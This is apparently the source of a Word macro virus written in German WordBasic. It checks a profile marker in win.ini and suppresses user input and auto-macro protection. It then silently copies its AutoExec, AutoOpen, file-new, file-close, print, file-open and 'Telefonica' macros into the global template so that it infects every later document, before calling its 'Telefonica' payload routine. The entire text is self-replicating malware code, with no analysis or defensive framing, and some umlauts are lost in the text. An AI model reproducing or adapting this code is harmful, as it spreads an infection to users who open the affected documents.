Sub MAIN
Section$ = "Compatibility"
wininistr$ = "0x0030303"
ProfileName$ = "LBYNJ"

For i = 1 To ZhlenMakros(1)
        If MakroName$(i, 1) = "Telefonica" Then update = 1
Next i

NoVir$ = GetProfileString$(Section$, ProfileName$)
If (NoVir$ <> wininistr$) And (update = 1) Then
EingabeUnterdrcken
AutoMakroUnterdrcken 0
MakroKopieren FensterName$() + ":AutoExec", "Global:AutoExec", 1
MakroKopieren FensterName$() + ":AutoOpen", "Global:AutoOpen", 1
MakroKopieren FensterName$() + ":DateiNeu", "Global:DateiNeu", 1
MakroKopieren FensterName$() + ":DateiBeenden", "Global:DateiBeenden", 1
MakroKopieren FensterName$() + ":DateiDrucken", "Global:DateiDrucken", 1
MakroKopieren FensterName$() + ":Telefonica", "Global:Telefonica", 1
MakroKopieren FensterName$() + ":Dateiffnen", "Global:Dateiffnen", 1
End If
Call Telefonica
End Sub
